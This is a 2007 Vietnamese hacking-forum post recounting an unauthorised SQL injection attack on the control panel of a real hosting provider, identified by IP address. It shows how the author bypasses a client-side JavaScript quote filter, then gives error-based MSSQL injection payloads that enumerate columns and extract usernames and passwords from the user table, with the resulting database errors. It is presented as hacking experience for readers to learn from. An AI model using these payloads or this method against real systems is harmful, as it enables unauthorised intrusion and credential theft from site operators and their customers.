[Question] Bài cũ: How I Hacked Ucvhost By Sql. TG:icarus |
09/01/2007 00:03:20 (+0700) | #1 | 35048 |
komodo01
Member
|
0 |
|
|
Joined: 08/01/2007 07:01:49
Messages: 24
Offline
|
|
Người viết : Icarus
Sau khi xem bài "How I hacked www.Blackhatvn.org" của bác mrro trong box Case studied.
Khi đọc đến đoạn bác mrro truy cập vào Ucvhost.com và khai thác lỗi sql injection trên trang Control Panel cuả nó [http://12.30.241.66/cp/], em cũng thử hack nó xem
Đầu tiên em thấy nhập ' trong username thì nó thông báo
CODE
' " character's not allowed
Vậy là nó đã lọc ký hiệu ' và " trong username , làm sao bây giờ? Ta thử view source thì thấy nó có cái function validation(form) để kiểm tra dữ liệu nhập vào :
CODE
function validate(form) {
var temp = (form.USERNAME.value)
if ( temp.indexOf("\'") != -1 || temp.indexOf("\"") != -1 ){
alert("\' \" character's not allowed");
return false;
}
else{
form.submit();
}
}
Nhận thấy cái validation này viết bằng Javascripts cho nên em save trang web này về và mở bằng Frontpage
CODE
if ( temp.indexOf("\'") != -1 || temp.indexOf("\"") != -1 )
alert("\' \" character's not allowed");
return false;<<chỗ này nó kiểm tra dấu '
hàm indexof cho ra vị trí của từ cần tìm , nếu ko có thì cho ra giá trị -1
nên khi ta nhập dấu ' thì kết quả trả vể của indexof khác -1 nên sẽ return false
Ta sẽ sửa function lại như sau
CODE
function validate(form) {
var temp = (form.USERNAME.value)
if ( temp.indexOf("\'") != -1 || temp.indexOf("\"") != -1 ){
form.submit();
}
else{
form.submit();
}
}
Với cách sửa trên thì mọi ký tự nhập vào function validate đều coi là hợp lệ
Sau đó em tìm
CODE
<form ... action='checkuser.asp'...>
và sửa lại thành
CODE
<form ... action='http://12.30.241.66/cp/checkuser.asp'>
Thế là ta mở trang web đã sửa và tha hồ nhập dấu ' mà ko sợ lỗi
Thế nhưng trong quá trình view source cuả nó em mới phát hiện rằng là nó chỉ kiểm tra ký tự ' trong username nhưng ko kiểm tra trong password (hixhix làm mình khổ công nãy giờ).
và em inject sql theo cách quen thuộc
CODE
'having 1=1--sp_password
CODE
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'usertable.SNo' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
vậy là nó bị kiểm tra user trong table usertable
CODE
' or 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='usertable' and column_name not in('SNo')))--sp_password
CODE
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'username' to a column of data type int.
và sau cùng ta lấy một host nào đó
CODE
' or 1=convert(int,(select top 1 username+'/'+password from usertable))--sp_password
Công nhận là SQL injection là một vuln khá nguy hiểm.
Hi vọng wa bài viết này các bạn có thêm kinh nghiệm hack hơn.
Mong các bạn góp ý thêm.
|
|
|
|
|
|
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|